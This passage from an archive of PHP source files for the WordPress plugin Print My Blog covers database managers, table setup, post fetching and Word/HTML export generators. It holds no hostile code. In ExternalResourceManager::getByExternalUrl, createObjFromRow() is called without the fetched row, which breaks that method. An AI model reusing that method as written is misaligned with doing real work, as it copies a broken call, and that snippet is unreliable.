'SELECT parent_id FROM ' . $wpdb->prefix . TableManager::SECTIONS_TABLE . ' WHERE ID=%d',
$part_id
)
);
}
}
PrintMyBlog/orm/managers/DesignManager.php 0000644 00000002154 14666776752 0014615 0 ustar 00 <?php
namespace PrintMyBlog\orm\managers;
use PrintMyBlog\orm\entities\Design;
use Twine\orm\managers\PostWrapperManager;
use \WP_Query;
/**
* Class DesignManager
* @package PrintMyBlog\orm\managers
*/
class DesignManager extends PostWrapperManager
{
/**
* @var string
*/
protected $class_to_instantiate = 'PrintMyBlog\orm\entities\Design';
/**
* @var string
*/
protected $cap_slug = 'pmb_design';
/**
* @param string $format slug of format
*/
public function getDesignsForFormat($format){
// get all the designs for this format
// including which format is actually in-use
$wp_query_args = [
// Sorry, I'm storing the design on a metakey. (Ya maybe we could store them on a custom table too).
// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
'meta_query' => [
[
'key' => Design::META_PREFIX . 'format',
'value' => $format,
],
],
];
return $this->getAll(new WP_Query($wp_query_args));
}
}
PrintMyBlog/orm/managers/ExternalResourceManager.php 0000644 00000012015 14666776752 0016673 0 ustar 00 <?php
namespace PrintMyBlog\orm\managers;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\orm\entities\ExternalResource;
use stdClass;
/**
* Class ExternalResourceManager
* @package PrintMyBlog\orm\managers
*/
class ExternalResourceManager
{
/**
* @param stdClass $row
*
* @return ExternalResource|null
*/
public function createObjFromRow($row)
{
if ($row) {
return new ExternalResource($row);
}
return null;
}
/**
* Gets the local URL given the external URL.
* Gets a row by the external URL
* @param string $external_resource_url
* @return ExternalResource|null
*/
public function getByExternalUrl($external_resource_url)
{
global $wpdb;
$row = $wpdb->get_row(
$wpdb->prepare(
// phpcs:ignore -- just passing in constants
'SELECT * FROM ' . $wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE . ' WHERE external_url=%s LIMIT 1',
$external_resource_url
)
);
if (! $row){
return null;
}
return $this->createObjFromRow(
// todo: cache
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
);
}
/**
* Gets the mapping between all external resources and cached items
* @return ExternalResource[]
*/
public function getAllMapping()
{
global $wpdb;
return $this->createObjsFromRows(
// todo: cache
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
(array)$wpdb->get_results(
// phpcs:ignore -- just passing in constants.
'SELECT * FROM ' . $wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE
)
);
}
/**
* @param stdClass[] $rows
* @return ExternalResource[]
*/
protected function createObjsFromRows($rows)
{
$objs = [];
foreach ($rows as $row) {
if($row){
$objs[] = $this->createObjFromRow($row);
}
}
return $objs;
}
/**
* Whether that resource is already cached or not.
* @param string $external_url
* @return bool
*/
public function cached($external_url)
{
global $wpdb;
// todo: cache
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
return (bool)$wpdb->get_var(
$wpdb->prepare(
// phpcs:ignore -- just passing in constants.
'SELECT COUNT(*) FROM ' . $wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE . ' WHERE external_url=%s LIMIT 1',
$external_url
)
);
}
/**
* Map external URLS ro local one.
* @param string $external_url
* @param string $filename
* @return int
*/
public function map($external_url, $filename)
{
$external_resource = $this->getByExternalUrl($external_url);
if (! $external_resource) {
$external_resource = new ExternalResource(
[
'ID' => null,
'external_url' => $external_url,
'copy_filename' => $filename,
]
);
}
return $this->save($external_resource);
}
/**
* @param ExternalResource $external_resource
* @return int the ID of the saved row
*/
public function save(ExternalResource $external_resource)
{
global $wpdb;
if ($external_resource->getID()) {
// Custom table needs direct query.
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$wpdb->update(
$wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE,
$external_resource->properties(),
$external_resource->wpdbPropertyFormats(),
[
'ID' => $external_resource->getID(),
],
[
'%d',
]
);
return $external_resource->getID();
} else {
// Custom table needs direct query.
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
return (int)$wpdb->insert(
$wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE,
$external_resource->properties(),
$external_resource->wpdbPropertyFormats()
);
}
}
/**
* Truncates the table storing all the information about cached items.
*/
public function clear()
{
global $wpdb;
// Custom table needs direct query.
// phpcs:ignore -- this is the fastest way to empty the table.
$wpdb->query('TRUNCATE TABLE ' . $wpdb->prefix . TableManager::EXTERNAL_RESOURCE_TABLE);
}
}
PrintMyBlog/orm/managers/ProjectManager.php 0000644 00000000776 14666776752 0015022 0 ustar 00 <?php
namespace PrintMyBlog\orm\managers;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\system\Context;
use Twine\orm\managers\PostWrapperManager;
use WP_Post;
/**
* Class ProjectManager
* @package PrintMyBlog\orm\managers
*/
class ProjectManager extends PostWrapperManager
{
/**
* @var string
*/
protected $class_to_instantiate = 'PrintMyBlog\orm\entities\Project';
/**
* @var string
*/
protected $cap_slug = 'pmb_project';
}
PrintMyBlog/db/TableManager.php 0000644 00000003270 14666776752 0012426 0 ustar 00 <?php
namespace PrintMyBlog\db;
/**
* Class InstallTables
*
* Installs the database tables needed by Print My Blog
*
* @package Print My Blog
* @author Mike Nelson
*
*/
class TableManager extends \Twine\db\TableManager
{
const SECTIONS_TABLE = 'pmb_project_sections';
const EXTERNAL_RESOURCE_TABLE = 'pmb_external_resources';
/**
* Ensures PMB's tables exist.
*/
public function installTables()
{
$this->installTable(
self::SECTIONS_TABLE,
'ID bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT,
project_id bigint(20) UNSIGNED NOT NULL,
post_id bigint(20) UNSIGNED NOT NULL DEFAULT \'0\',
parent_id bigint(20) UNSIGNED NULL DEFAULT \'0\',
section_order int(11) NOT NULL DEFAULT \'0\',
template varchar(50) NOT NULL DEFAULT \'\',
placement varchar(15) NOT NULL DEFAULT \'main\',
height smallint NOT NULL DEFAULT \'0\',
depth smallint NOT NULL DEFAULT \'0\',
PRIMARY KEY (ID),
KEY sorted (project_id,placement,section_order)'
);
$this->installTable(
self::EXTERNAL_RESOURCE_TABLE,
'ID bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT,
external_url varchar(511) NOT NULL,
copy_filename varchar(511) DEFAULT NULL,
PRIMARY KEY (ID),
KEY external_url (external_url)'
);
}
/**
* Deletes tables from db.
*/
public function dropTables()
{
$this->dropTable(self::SECTIONS_TABLE);
$this->dropTable(self::EXTERNAL_RESOURCE_TABLE);
}
}
PrintMyBlog/db/PostFetcher.php 0000644 00000005317 14666776752 0012336 0 ustar 00 <?php
namespace PrintMyBlog\db;
use PrintMyBlog\system\CustomPostTypes;
use Twine\orm\managers\PostWrapperManager;
use WP_Query;
/**
* Class PostFetcher
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class PostFetcher
{
/**
* @var CustomPostTypes
*/
private $custom_post_types;
/**
* @param CustomPostTypes $custom_post_types
*/
public function inject(CustomPostTypes $custom_post_types)
{
$this->custom_post_types = $custom_post_types;
}
/**
* Based on the request, fetches posts. Returns an array of WP_Posts
* @since $VID:$
* @return object[]
*/
public function fetchPostOptionssForProject()
{
global $wpdb;
// todo: cache
// phpcs:disable
return $wpdb->get_results(
'SELECT ID, post_title FROM '
. $wpdb->posts
. ' WHERE post_type IN (\''
. implode('\',\'', $this->getProjectPostTypes())
. '\') AND post_status in ("publish","draft")'
);
// phpcs:enable
}
/**
* @param string $output passed into `get_post_types`. See @get_post_types
* @return array of all the post types that can be in projects.
*/
public function getProjectPostTypes($output = 'names')
{
$in_search_post_types = get_post_types(array( 'exclude_from_search' => false ), $output);
unset($in_search_post_types['attachment']);
foreach ($this->otherPostTypesToInclude() as $post_type) {
if (! post_type_exists($post_type)) {
continue;
}
if ($output === 'objects') {
$in_search_post_types[$post_type] = get_post_type_object($post_type);
} else {
$in_search_post_types[$post_type] = esc_sql($post_type);
}
}
return $in_search_post_types;
}
/**
* @return string[]
*/
protected function otherPostTypesToInclude()
{
return [
'stm-lessons', // from MasterStudy LMS
'lesson', // LifterLMS
'section',
];
}
/**
* Deletes all PMB custom post type posts
* @return int
*/
public function deleteCustomPostTypes()
{
global $wpdb;
// phpcs:disable
return $wpdb->query(
'DELETE posts, postmetas FROM '
. $wpdb->posts
. ' AS posts LEFT JOIN '
. $wpdb->postmeta
. ' AS postmetas ON posts.ID=postmetas.post_id WHERE posts.post_type IN ("'
. implode('","', $this->custom_post_types->getPostTypes())
. '")'
);
// phpcs:enable
}
}
PrintMyBlog/db/migrations/Migration3_2_3.php 0000644 00000001516 14666776752 0014740 0 ustar 00 <?php
namespace PrintMyBlog\db\migrations;
use PrintMyBlog\system\CustomPostTypes;
use Twine\db\migrations\MigrationBase;
// phpcs:disable Squiz.Classes.ValidClassName.NotCamelCaps
/**
* Class Migration3_2_3
* @package PrintMyBlog\db\migrations
*/
class Migration3_2_3 extends MigrationBase
{
/**
* @return bool
*/
public function perform()
{
global $wpdb;
// Only do this once on a singe request.
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$wpdb->update(
$wpdb->posts,
[
'post_status' => 'private',
],
[
'post_type' => CustomPostTypes::CONTENT,
'post_status' => 'publish',
]
);
return true;
}
}
PrintMyBlog/db/migrations/MigrationManager.php 0000644 00000000630 14666776752 0015501 0 ustar 00 <?php
namespace PrintMyBlog\db\migrations;
use Twine\db\migrations\MigrationManagerBase;
/**
* Class MigrationManager
* @package PrintMyBlog\db\migrations
*/
class MigrationManager extends MigrationManagerBase
{
/**
* @return string[]
*/
public function getMigrationInfos()
{
return [
'3.2.3' => 'PrintMyBlog\db\migrations\Migration3_2_3',
];
}
}
PrintMyBlog/services/DesignRegistry.php 0000644 00000015677 14666776752 0014322 0 ustar 00 <?php
namespace PrintMyBlog\services;
use Exception;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\system\CustomPostTypes;
use WP_Post;
use Twine\helpers\Array2;
/**
* Class DesignRegistry
* For registering default designs to be created during activation.
* @package PrintMyBlog\services
*/
class DesignRegistry
{
/**
* @var $design_callbacks callable[][] top-level keys are design template slugs, next-level keys are design slugs
* whose values are callbacks that return the args to pass into createNewDesign()
*/
protected $design_callbacks;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @var DesignTemplateRegistry
*/
protected $design_template_registry;
/**
* @param DesignManager $design_manager
* @param DesignTemplateRegistry $design_template_registry
*/
public function inject(
DesignManager $design_manager,
DesignTemplateRegistry $design_template_registry
) {
$this->design_manager = $design_manager;
$this->design_template_registry = $design_template_registry;
}
/**
* @param string $design_template_slug
* @param string $design_slug
* @param callable $callback returns an array to be passed into createNewDesign
*/
public function registerDesignCallback($design_template_slug, $design_slug, $callback)
{
$this->design_callbacks[$design_template_slug][$design_slug] = $callback;
}
/**
* @param string $design_template_slug
* @param string $design_slug
* @param callable $callback that returns an array of the following format {
*
* @type string $title will become the post title
* @type string $quick_description will become the excerpt
* @type string $description will become the post content
* @type array $author {
* @type string $name author name
* @type string $url author URL
* }
* @type array[] $previews each sub-array has{
* @type string $url of the preview image
* @type string $desc description of the preview image
* }
* @type array $design_defaults which will be sent to design form via \Twine\forms\base\FormSection::populateDefaults
* @type array $project_defaults which will also be sent to the project metadata form via \Twine\forms\base\FormSection::populateDefaults
*
* }
* @throws Exception
*/
protected function createNewDesign($design_template_slug, $design_slug, $callback)
{
list($design_template, $args) = $this->getTemplateAndArgs($design_template_slug, $callback);
$design_post_id = wp_insert_post(
[
'post_title' => $args['title'],
'post_name' => $design_slug,
'post_type' => CustomPostTypes::DESIGN,
'post_content' => $args['description'],
'post_excerpt' => Array2::setOr($args, 'quick_description', ''),
'post_status' => 'publish',
]
);
if (! $design_post_id) {
throw new Exception(
'There was an error inserting the design post "'
. $design_slug
. '" with '
// Var export just being used for debugging if there was an error.
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export
. var_export($args, true)
);
}
$design = $this->design_manager->getById($design_post_id);
$design->setPmbMeta('format', $design_template->getFormatSlug());
$design->setPmbMeta('design_template', $design_template->getSlug());
$this->setArgsForDesign($design, $args);
// Set all the settings from the form too, taking into account the defaults set on the design itself.
$design_form = $design->getDesignForm();
if (isset($args['design_defaults'])) {
$design_form->populateDefaults($args['design_defaults']);
}
foreach ($design_form->inputValues(true, true) as $setting_name => $normalized_value) {
$design->setSetting($setting_name, $normalized_value);
}
}
/**
* @param string $design_template_slug
* @param callable $callback
* @return array containing a DesignTemplate and an array of args
* @throws Exception
*/
protected function getTemplateAndArgs($design_template_slug, $callback)
{
$design_template = $this->design_template_registry->getDesignTemplate($design_template_slug);
$args = call_user_func($callback, $design_template);
return [$design_template, $args];
}
/**
* @param Design $design
* @param string $design_template_slug
* @param callable $callback
* @throws Exception
*/
protected function updateDesign(Design $design, $design_template_slug, $callback)
{
list($design_template, $args) = $this->getTemplateAndArgs($design_template_slug, $callback);
wp_update_post(
[
'ID' => $design->getWpPost()->ID,
'post_excerpt' => Array2::setOr($args, 'quick_description', ''),
'post_content' => $args['description'],
]
);
$this->setArgsForDesign($design, $args);
}
/**
* @param Design $design
* @param array $args
*/
protected function setArgsForDesign(Design $design, $args)
{
if (isset($args['author'])) {
foreach ($args['author'] as $field => $value) {
$design->setPmbMeta('author_' . $field, $value);
}
}
// Set preview images (or fix them for
if (isset($args['previews'])) {
$count = 1;
foreach ((array)$args['previews'] as $preview_data) {
$design->setPmbMeta('preview_' . $count . '_url', $preview_data['url']);
$design->setPmbMeta('preview_' . $count . '_desc', $preview_data['desc']);
$count++;
}
}
}
/**
* Loops through all the registered default designs and creates a design for them.
*/
public function createRegisteredDesigns()
{
// loop through all the registered designs
foreach ($this->design_callbacks as $design_template_slug => $designs) {
foreach ($designs as $design_slug => $args_callback) {
$design = $this->design_manager->getBySlug($design_slug);
if ($design instanceof Design) {
$this->updateDesign($design, $design_template_slug, $args_callback);
} else {
$this->createNewDesign(
$design_template_slug,
$design_slug,
$this->design_callbacks[$design_template_slug][$design_slug]
);
}
}
}
}
}
PrintMyBlog/services/generators/WordGenerator.php 0000644 00000012535 14666776752 0016301 0 ustar 00 <?php
namespace PrintMyBlog\services\generators;
use Exception;
/**
* Class WordGenerator
* @package PrintMyBlog\services\generators
*/
class WordGenerator extends HtmlBaseGenerator
{
/**
* Start making doc
*/
public function startGenerating()
{
add_filter(
'\PrintMyBlog\controllers\Shortcodes->tableOfContents',
[$this, 'wordToc']
);
parent::startGenerating();
}
/**
* Writes out the PMB Pro print "window" which appears at the top of pro print pages.
* Echoes, instead of using `$this->file_writer`, because this is a callback on an action called inside the template HTML.
* @throws Exception
*/
public function addPrintWindowToPage()
{
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo pmb_get_contents(
PMB_TEMPLATES_DIR . 'partials/pro_print_page_word_window.php',
[
'project' => $this->project,
'project_generation' => $this->project_generation,
'generate_url' => $this->getUrlBackToGenerateStep(),
]
);
}
/**
* @throws Exception
*/
public function enqueueStylesAndScripts()
{
wp_enqueue_script('pmb_pro_page');
wp_enqueue_style('pmb_pro_page');
// https://github.com/koffsyrup/FileSaver.js#examples
wp_register_script(
'pmb-filesaver',
PMB_SCRIPTS_URL . 'libs/filesaver__premium_only.min.js',
[],
filemtime(PMB_SCRIPTS_DIR . 'libs/filesaver__premium_only.min.js')
);
wp_enqueue_script(
'pmb-word',
PMB_SCRIPTS_URL . 'pmb-word__premium_only.js',
['jquery', 'pmb-filesaver', 'pmb_general'],
filemtime(PMB_SCRIPTS_DIR . 'pmb-word__premium_only.js')
);
$css = pmb_get_contents(
PMB_STYLES_DIR . '/pmb-word.css'
) . $this->design->getSetting('custom_css');
wp_enqueue_style(
'pmb-word',
PMB_STYLES_URL . 'pmb-word.css',
[],
filemtime(PMB_STYLES_DIR . 'pmb-word.css')
);
$style_file = $this->getDesignDir() . 'assets/style.css';
if (file_exists($style_file)) {
wp_enqueue_style(
'pmb-design',
$this->getDesignAssetsUrl() . 'style.css',
['pmb_print_common', 'pmb-plugin-compatibility'],
filemtime($style_file),
null
);
}
$script_file = $this->getDesignDir() . 'assets/script.js';
if (file_exists($script_file)) {
wp_enqueue_script(
'pmb-design',
$this->getDesignAssetsUrl() . 'script.js',
['jquery', 'pmb-beautifier-functions'],
filemtime($script_file)
);
}
add_filter(
'PrintMyBlog\services\ExternalResourceCache->domainsToNotMap()',
[$this, 'cacheWpComToo']
);
wp_localize_script(
'pmb-word',
'pmb_pro',
[
'title' => $this->project->getPublishedTitle(),
'authors' => $this->getAuthors(),
'cover' => $this->project->getSetting('cover'),
'css' => $css,
'pmb_nonce' => wp_create_nonce('pmb_pro_page'),
'external_resouce_mapping' => $this->external_resource_cache->getMapping(),
'domains_to_not_map' => (array)$this->external_resource_cache->domainsToNotMap(),
'ajaxurl' => admin_url('admin-ajax.php'),
'translations' => [
'many_articles' => __('Your project is very big and you might have errors downloading the file. If so, try splitting your content into multiple projects and instead creating multiple smaller files.', 'print-my-blog'),
'many_images' => __('Your project has lots of images and you might have errors downloading the file. If so, try spltting your content into multiple projects or reducing the image quality set on your design.', 'print-my-blog'),
],
'domain' => pmb_get_domain(),
'site_url' => site_url(),
]
);
}
/**
* @return false|string|string[]
*/
protected function getAuthors()
{
$byline = $this->project->getSetting('byline');
if (! $byline) {
return '';
}
return array_map('trim', explode(',', str_replace(['\n'], ',', $byline)));
}
/**
* Ignores original html.
*/
public function wordToc()
{
return "<p class=MsoToc1>
<!--[if supportFields]>
<span style='mso-element:field-begin'></span>
TOC \o \"1-3\" \u
<span style='mso-element:field-separator'></span>
<![endif]-->
<span style='mso-no-proof:yes'>" . __('Table of content - In Microsoft Word, please right-click and choose "Update field".', 'print-my-blog') . "</span>
<!--[if supportFields]>
<span style='mso-element:field-end'></span>
<![endif]-->
</p>";
}
/**
*
* @param array $domains_to_not_map
* @return mixed
*/
public function cacheWpComToo($domains_to_not_map)
{
$key = array_search('.wp.com', $domains_to_not_map, true);
unset($domains_to_not_map[$key]);
return array_values($domains_to_not_map);
}
}
PrintMyBlog/services/generators/HtmlBaseGenerator.php 0000644 00000020516 14666776752 0017063 0 ustar 00 <?php
namespace PrintMyBlog\services\generators;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\entities\ProjectSection;
use PrintMyBlog\services\ExternalResourceCache;
use PrintMyBlog\system\CustomPostTypes;
use Twine\services\filesystem\File;
use WP_Query;
/**
* Class HtmlBaseGenerator
* Generators that create an HTML intermediary file.
* @package PrintMyBlog\services\generators
*/
abstract class HtmlBaseGenerator extends ProjectFileGeneratorBase
{
/**
* @var File
*/
protected $file_writer;
/**
* @global Project $pmb_project
* @global Design $pmb_design
*/
protected function startGenerating()
{
// Setup the "main post" for use in templates before the first article.
$post = $this->project->getMainPost();
$wp_the_query = new WP_Query(
[
'post_status' => 'any',
'post__in' => [$post->ID],
'showposts' => count([$post->ID]),
'post_type' => $post->post_type,
]
);
$wp_the_query->have_posts();
$wp_the_query->the_post();
$this->setupPostData();
parent::startGenerating();
// Try to get enqueued after the theme, if we're doing that, so we get precedence.
add_action('wp_enqueue_scripts', [$this, 'enqueueStylesAndScripts'], 1000);
do_action('pmb_pdf_generation_start', $this->project_generation, $this->design);
add_filter('should_load_block_editor_scripts_and_styles', '__return_true');
add_action('pmb_pro_print_window', [$this, 'addPrintWindowToPage']);
$this->writeDesignTemplateInDivision(DesignTemplate::IMPLIED_DIVISION_PROJECT);
wp_reset_postdata();
}
/**
* Writes html to the file.
* @return void
*/
protected function generateSection()
{
global $post;
// determine which template to use, depending on the current section's height and how template specified
if ($post->pmb_section instanceof ProjectSection) {
$this->project_generation->setLastSection($post->pmb_section);
$template = $post->pmb_section->getTemplate();
$template = $this->design->getDesignTemplate()->resolveSectionTemplateToUse($template);
if ($template) {
$this->writeDesignTemplateInDivision($template);
} else {
$this->writeDesignTemplateInDivision(
pmb_map_section_to_division($post->pmb_section)
);
}
}
}
/**
* Finishes writing to html file.
* @return void
*/
protected function finishGenerating()
{
$this->writeDesignTemplateInDivision(DesignTemplate::IMPLIED_DIVISION_PROJECT, false);
do_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->finishGenerating', $this);
}
/**
* @param string $template_file
* @param array $context
*/
protected function writeTemplateToFile($template_file, $context = [])
{
$this->getFileWriter()->write(
'<!-- pmb template: ' . $template_file . '-->' . $this->getHtmlFrom($template_file, $context)
);
}
/**
* @param string $division
* @param bool $beginning whether to show the beginning, or end, of this division.
* @param array $context
*/
protected function writeDesignTemplateInDivision($division, $beginning = true, $context = [])
{
$this->writeTemplateToFile(
$this->design->getDesignTemplate()->getTemplatePathToDivision(
$division,
$beginning
),
$context
);
}
/**
* @return File
*/
protected function getFileWriter()
{
if (! $this->file_writer instanceof File) {
$this->file_writer = new File($this->project_generation->getGeneratedIntermediaryFilePath());
}
return $this->file_writer;
}
/**
* @param string $division
*/
protected function writeClosingForDesignTemplate($division)
{
if ($this->design->getDesignTemplate()->templateFileExists($division, false)) {
$this->writeDesignTemplateInDivision($division, false);
} else {
// If the design template didn't delcare that file, it's ok. Assume it just ends in a div.
$this->getFileWriter()->write('</div>');
}
}
/**
* @param ProjectSection|null $last_section
* @param ProjectSection|null $current_section
*/
protected function maybeGenerateDivisionStart(
ProjectSection $last_section = null,
ProjectSection $current_section = null
) {
if (! $current_section instanceof ProjectSection) {
return;
}
$last_section_placement = null;
if ($last_section instanceof ProjectSection) {
$last_section_placement = $last_section->getPlacement();
}
if (
$last_section_placement !== $current_section->getPlacement()
&& $this->design->getDesignTemplate()->supports($current_section->getPlacement())
) {
$this->writeDesignTemplateInDivision($current_section->getPlacement());
}
}
/**
* @param ProjectSection|null $previous_section
* @param ProjectSection|null $current_section
*/
protected function maybeGenerateDivisionEnd(
ProjectSection $previous_section = null,
ProjectSection $current_section = null
) {
if (! $previous_section) {
// no transition necessary
return;
}
$iterate_depth = $previous_section->getDepth();
$current_depth = 0;
$current_placement = null;
if ($current_section instanceof ProjectSection) {
$current_depth = $current_section->getDepth();
$current_placement = $current_section->getPlacement();
}
while ($iterate_depth >= $current_depth) {
$this->writeClosingForDesignTemplate(
pmb_map_section_to_division(
$previous_section
)
);
$iterate_depth--;
}
// take care of closing front_matter, main_matter, and back_matter
if ($previous_section->getPlacement() !== $current_placement) {
$this->writeClosingForDesignTemplate(
pmb_map_section_to_division($previous_section)
);
}
}
/**
* Adds all the body to the html file.
*/
protected function generateMatter()
{
if($this->project->getWpPost()->post_type === CustomPostTypes::PROJECT){
$sections = $this->project->getFlatSections(1000, 0, false);
} else {
// it's a "post project", meaning it's only this one post in the "project".
$fake_row = new \stdClass();
$fake_row->ID = 0;
$fake_row->post_id = $this->project->getWpPost()->ID;
$fake_row->post_title = $this->project->getWpPost()->post_title;
$fake_row->parent_id = 0;
$fake_row->section_order = 1;
$fake_row->template = '';
$fake_row->placement = DesignTemplate::IMPLIED_DIVISION_MAIN_MATTER;
$fake_row->height = 0;
$fake_row->depth = 0;
$sections = [
new ProjectSection($fake_row)
];
}
$this->generateSections($sections);
}
/**
* Deletes the generated HTML file, if it exists.
* @return bool
*/
public function deleteFile()
{
return $this->getFileWriter()->delete();
}
/**
* Enqueues the scripts and styles
* @return void
*/
abstract public function enqueueStylesAndScripts();
/**
* Gets the URL back to the page to generate step.
* @return string
*/
abstract protected function addPrintWindowToPage();
/**
* @return string
*/
protected function getUrlBackToGenerateStep()
{
return add_query_arg(
[
'ID' => $this->project->getWpPost()->ID,
'action' => \PrintMyBlog\controllers\Admin::SLUG_ACTION_EDIT_PROJECT,
'subaction' => \PrintMyBlog\entities\ProjectProgress::GENERATE_STEP,
],
admin_url(PMB_ADMIN_PROJECTS_PAGE_PATH)
);
}
}
PrintMyBlog/services/generators/ProjectFileGeneratorBase.php 0000644 00000031703 14666776752 0020365 0 ustar 00 <?php
namespace PrintMyBlog\services\generators;
use Automattic\WooCommerce\Vendor\League\Container\Argument\ClassName;
use PrintMyBlog\compatibility\DetectAndActivate;
use PrintMyBlog\db\PostFetcher;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\orm\entities\ProjectSection;
use PrintMyBlog\services\ExternalResourceCache;
use PrintMyBlog\services\PmbCentral;
use PrintMyBlog\services\SectionTemplateRegistry;
use ReflectionObject;
use stdClass;
use Twine\services\filesystem\File;
use WP_Post;
use WP_Query;
use WP_Screen;
/**
* Class ProjectFileGeneratorBase
* @package PrintMyBlog\services\generators
*/
abstract class ProjectFileGeneratorBase
{
/**
* @var Project
*/
protected $project;
/**
* @var ProjectGeneration
*/
protected $project_generation;
/**
* @var Design
*/
protected $design;
/**
* @var PostFetcher
*/
protected $post_fetcher;
/**
* @var DetectAndActivate
*/
private $plugin_compatibility;
/**
* @var SectionTemplateRegistry
*/
protected $section_template_registry;
/**
* @var ExternalResourceCache
*/
protected $external_resource_cache;
/**
* ProjectHtmlGenerator constructor.
*
* @param ProjectGeneration $project_generation
* @param Design $design
*/
public function __construct(ProjectGeneration $project_generation, Design $design)
{
$this->project_generation = $project_generation;
$this->project = $project_generation->getProject();
$this->design = $design;
}
/**
* Called by Context.
* @param PostFetcher $post_fetcher
* @param DetectAndActivate $plugin_compatibility
* @param ExternalResourceCache $external_resource_cache
*/
public function inject(
PostFetcher $post_fetcher,
DetectAndActivate $plugin_compatibility,
ExternalResourceCache $external_resource_cache
) {
$this->post_fetcher = $post_fetcher;
$this->plugin_compatibility = $plugin_compatibility;
$this->external_resource_cache = $external_resource_cache;
}
/**
* @return Project
*/
public function getProject()
{
return $this->project;
}
/**
* @return bool whether complete or not
*/
public function generateHtmlFile()
{
// Includes the design's functions.php file, if it exists
if (file_exists($this->getDesignDir() . 'functions.php')) {
include $this->getDesignDir() . 'functions.php';
}
$this->plugin_compatibility->activateRenderingCompatibilityModes();
$this->startGenerating();
// Don't let anything from a previous generation affect this one.
$this->project_generation->setLastSectionId(null);
$this->generateMatter();
$this->finishGenerating();
return true;
// If that's all the posts done, add the header and footer, using the scripts we enqueued.
// $total = $part_fetcher->countParts($this->getWpPost()->ID);
// if( $total >= $part_post_ids){
// $this->setGenerated(true);
// }
// return [
// 'done' => $part_post_ids,
// 'total' => $total
// ];
}
/**
* @global Project $pmb_project
* @global Design $pmb_design
*/
protected function startGenerating()
{
// show protected posts' bodies as normal.
add_filter('post_password_required', '__return_false');
// don't add "protected" or "private" onto post titles when generating
add_filter(
'protected_title_format',
function () {
return '%s';
}
);
add_filter(
'private_title_format',
function () {
return '%s';
}
);
do_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->startGenerating', $this);
register_shutdown_function(array( $this, 'shutdown' ));
}
/**
* Generates for the current post in global $wp_post. We call WP_Query::the_post() just before calling this.
* @global WP_Post $wp_post
* @global Project $pmb_project
* @global Design $pmb_design
* @return void
*/
abstract protected function generateSection();
/**
* @global WP_Post $wp_post
* @global Project $pmb_project
* @global Design $pmb_design
*/
abstract protected function finishGenerating();
/**
* Orders $query->posts according to the order specified by $post_ids_in_order
*
* @param WP_Query $query
* @param ProjectSection[] $sections
*
* @return void but updates $query->posts by putting the posts in the order
* indicated by $project_parts, and also gives each post a new property "pmb_part" which is a ProjectSection
*/
protected function sortPostsAndAttachSections(WP_Query $query, $sections)
{
$ordered_posts = [];
$unordered_posts = $query->posts;
foreach (apply_filters('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->sortPostsAndAttachSections $sections', $sections, $this, $unordered_posts) as $section) {
$found = false;
$post = null;
foreach ($unordered_posts as $post) {
$post_id_from_section = $section->getPostId();
if ($post_id_from_section === $post->ID) {
$found = true;
break;
}
}
// if the post is somehow missing from the query results, fix that. Especially helpful if a section was added via the filter.
if (! $found) {
$post = get_post($section->getPostId());
} else {
// use a clone so posts can have different section info (i.e., be included in different spots in the project)
$post = clone $post;
}
if ($post) {
$post->pmb_section = $section;
$ordered_posts[] = $post;
}
}
$query->posts = $ordered_posts;
$query->post_count = count($ordered_posts);
$query->found_posts = count($ordered_posts);
}
/**
* Generates the main matter of the project. May be called repeatedly.
* @return void
*/
abstract protected function generateMatter();
/**
* @param ProjectSection[] $project_sections
*/
protected function generateSections(array $project_sections)
{
global $post, $wp_the_query;
// Override WP_Query global to generate sections like WP's "the loop".
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
$wp_the_query = $this->setupWpQuery($project_sections);
while ($wp_the_query->have_posts()) {
$wp_the_query->the_post();
$this->setupPostData();
$this->maybeGenerateDivisionTransition($post);
$this->generateSection();
}
wp_reset_postdata();
}
/**
* Setup WordPress post-related globals correctly for PMB
*/
protected function setupPostData()
{
global $more, $multipage, $pages, $numpages;
// we want to see what's after "more" tags
// Show all the content at once, don't chop it up into pages.
//phpcs:disable WordPress.WP.GlobalVariablesOverride.Prohibited
$more = true;
// Remove all pagebreak blocks and stitch it all back together.
$content_ignoring_pages = implode('<br class="pmb-page-break">', $pages);
$pages = [$content_ignoring_pages];
$numpages = 1;
$multipage = false;
